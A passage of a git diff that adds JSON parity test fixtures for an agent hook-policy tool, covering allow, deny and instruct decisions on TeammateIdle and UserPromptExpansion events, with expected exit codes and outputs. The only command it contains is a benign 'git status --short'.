\"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..238bc01d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..5bc8ca20 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e3eb32f2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f869f31f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d590e2f3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c78cc21a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..18ff786c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..89670c3f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..26cac398 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5dfb243a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f3beed43 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..44fc7602 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2947a229 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2b22ac37 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2cf52185 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7372dc9f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..208bf07e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b4d03ec6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..4c75b32b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ 